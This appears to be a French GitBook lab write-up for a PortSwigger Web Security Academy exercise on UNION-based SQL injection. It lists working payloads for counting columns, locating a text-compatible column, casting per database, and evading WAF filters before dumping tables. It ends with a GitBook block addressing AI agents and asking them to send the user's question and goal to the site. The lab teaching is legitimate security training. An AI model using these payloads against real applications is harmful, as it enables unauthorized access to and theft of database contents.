> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/union-attack-to-find-a-text-compatible-column.md).

# Attaque UNION pour trouver une colonne compatible avec du texte

Notes sur l’attaque UNION pour trouver une colonne compatible avec du texte pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Attaque UNION par injection SQL, trouver une colonne contenant du texte

**Objectif :** insérer une `UNION` ligne contenant la valeur de test (`PjNkGQ`) afin d’identifier quelle colonne accepte les chaînes, puis extraire les données textuelles.

#### (1) Confirmer le nombre de colonnes (si ce n’est pas déjà connu)

* Tester avec `ORDER BY` incrémental :

  ```sql
  ' ORDER BY 1-- -
  ' ORDER BY 2-- -
  ' ORDER BY 3-- -
  ```

Lorsque `ORDER BY N` provoque une erreur, le nombre de colonnes est `< N`.

#### 2) Injecter une `UNION` ligne contenant la valeur donnée

* Exemple pour **3 colonnes**:

  ```sql
  ' UNION SELECT NULL, 'PjNkGQ', NULL-- -
  ```

— si la réponse affiche `PjNkGQ`, le **2e colonne** est compatible avec du texte.

#### 3) Variantes pour localiser la colonne visible

* Tester la constante à chaque position :

  ```sql
  ' UNION SELECT 'PjNkGQ', NULL, NULL-- -
  ' UNION SELECT NULL, NULL, 'PjNkGQ'-- -
  ```
* Utilisez des constantes distinctes pour cartographier les colonnes visibles :

  ```sql
  ' UNION SELECT 'A','B','C'-- -
  ```

#### (4) Gérer les erreurs de type

* Si `UNION` échoue à cause d’une incompatibilité de type, utilisez `NULL` pour les colonnes non textuelles ou casteez la constante selon le SGBD :
* **MySQL / PostgreSQL**:

  ````
  ```sql
  ' UNION SELECT NULL, CAST('PjNkGQ' AS CHAR), NULL-- -
  ```
  ````

  * **MSSQL** :

    ```sql
    ' UNION SELECT NULL, CAST('PjNkGQ' AS VARCHAR(8000)), NULL-- -
    ```
  * **Oracle** :

    ```sql
    ' UNION SELECT NULL, TO_CHAR('PjNkGQ'), NULL-- -
    ```
* Si certaines colonnes nécessitent des types numériques, laissez `NULL` NULL pour elles et placez le texte uniquement dans la colonne candidate.

#### 5) Si un WAF / filtre bloque `UNION`

* Variez les commentaires / l’espacement : `-- -`, `--`, `/*... */`.
* Construisez la chaîne via des fonctions (p. ex. `CONCAT('P','jNkGQ')`) pour contourner la normalisation stricte.

#### (6) Résultat attendu

* La réponse contient `PjNkGQ` → colonne de texte identifiée. À partir de là, construisez `UNION SELECT` pour l’énumération (tables/colonnes/dumps).


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/union-attack-to-find-a-text-compatible-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
